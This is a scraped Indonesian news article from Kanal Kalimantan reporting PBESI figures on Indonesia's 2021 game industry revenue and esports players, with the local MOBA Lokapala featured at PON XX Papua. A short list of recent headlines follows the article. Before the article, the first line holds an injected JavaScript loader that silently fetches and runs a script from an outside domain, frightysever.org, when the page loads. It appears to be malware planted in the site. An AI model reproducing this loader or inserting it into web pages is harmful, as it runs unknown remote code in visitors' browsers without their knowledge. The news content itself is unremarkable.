(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Game

Pendapatan Industri Game di Indonesia Tembus Rp 30 Triliun di 2021


KANALKALIMANTAN.COM-Wakil Ketua Umum atau Ketua Harian Pengurus Besar Esports Indonesia (PBESI), Bambang Sunarwibowo mengungkapkan, pendapatan industri game di Indonesia mencapai 2,08 miliar dolar AS atau Rp 30 triliun pada tahun 2021.

Angka ini melonjak dari tahun 2020, di mana pendapatan industri game di Indonesia mencapai 1,1 miliar dolar AS atau Rp 15,7 triliun.

“Hal ini menjadikan Indonesia sebagai pangsa pasar game asia, dan memiliki pertumbuhan tercepat selain India dan Thailand,” ujar Bambang dalam pembukaan Final Eksibisi Esports PON XX Papua 2021 yang disiarkan via YouTube, Selasa (21/9/2021).

Bambang melanjutkan, saat ini Indonesia memiliki 118 juta pemain game. Dari data itu, sebanyak pemain game esports tercatat berjumlah 44,2 juta orang.

 

Baca juga : Laka Lantas Depan Komplek Bumi Cahaya Bintang, Satu Pemotor Patah Kaki

“Jadi sudah sangat banyak pemain esports di Indonesia,” tambahnya.

Bambang juga mengutip data dari Evos Esports, di mana populasi generasi Z di Indonesia saat ini mencapai 67 juta jiwa. Sedangkan generasi milenial mencapai 62 juta jiwa.

Angka ini, kata Bambang, menjadikan Indonesia sebagai pangsa pasar esports yang sangat potensial.

Akan tetapi, Bambang menyayangkan karena Indonesia sampai saat ini masih menjadi pasar dalam ekosistem esports ini. Untuk itulah, PBESI berupaya untuk mendukung pertumbuhan ekosistem esports dalam negeri.

Adapun langkah yang dijalankan PBESI yaitu menggandeng developer game asli karya anak bangsa, Lokapala. Game genre MOBA ini akan ditampilkan di pertandingan persahabatan PON XX Papua 2021.

 

Baca juga : Lagi, Aliansi LSM Unjuk Rasa di PT SDO terkait Pembuangan Limbah

Ia berharap, game-game esports lokal lainnya dapat terus berkembang dan terus bersaing. Bahkan kalau bisa, game lokal bisa ditampilkan dalam pertandingan internasional.

“Sehingga kami juga memiliki cita-cita besar, bagaimana menggantikan game-game internasional, bagaimana membangkitkan atlet, bagaimana masyarakat, khususnya milenial, memberikan kontribusi untuk negara kita di ajang esports internasional,” pungkasnya. (Suara.com)

Editor : suara


Desy Arfianty

Recent Posts

Kawasan Transmigrasi Cahaya Baru Disiapkan Jadi Transpolitan

KANALKALIMANTAN.COM,MARABAHAN- Pemerintah merancang kawasan transmigrasi Cahaya Baru di Kabupaten Barito Kuala, Kalimantan Selatan, menjadi Transpolitan,… Read More

7 jam ago

Wabup Banjar Buka Rapat Evaluasi Kinerja Pembangunan Daerah Tahun 2024

KANALKALIMANTAN.COM, MARTAPURA -  Rapat Evaluasi Kinerja Pembangunan Daerah Tahun 2024 digelar oleh Pemerintah Kabupaten Banjar… Read More

7 jam ago

Meminta Ampunan, Jemaah Masjid Sabilal Muhtadin Khusyuk Do’a di Malam Nishfu Sya’ban

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan warga kota Banjarmasin khusuk mengikuti salat Magrib dan Isya berjamaah pada… Read More

7 jam ago

Ada Efisiensi Anggaran Pemko Banjarbaru, Wali Kota Aditya: Perjadin dan ATK Dikurangi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin optimis pemerintah kota dapat tetap memberikan… Read More

12 jam ago

Ini Pertimbangan JPU KPK Tuntut Penyuap Proyek PUPR Kalsel 3 Tahun 5 Bulan

KANALKALIMANTAN.COM, BANJARMASIN - Jaksa Penuntut Umum (JPU) dari Komisi Pemberantasan Korupsi (KPK) menyatakan terdakwa Andi… Read More

13 jam ago

Gedung Baru Diresmikan, Ini Alamat Kantor Disdukcapil Banjarbaru Teranyar

KANALKALIMANTAN.COM, BANJARBARU - Kantor Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Kota Banjarbaru akan pindah pelayanan… Read More

15 jam ago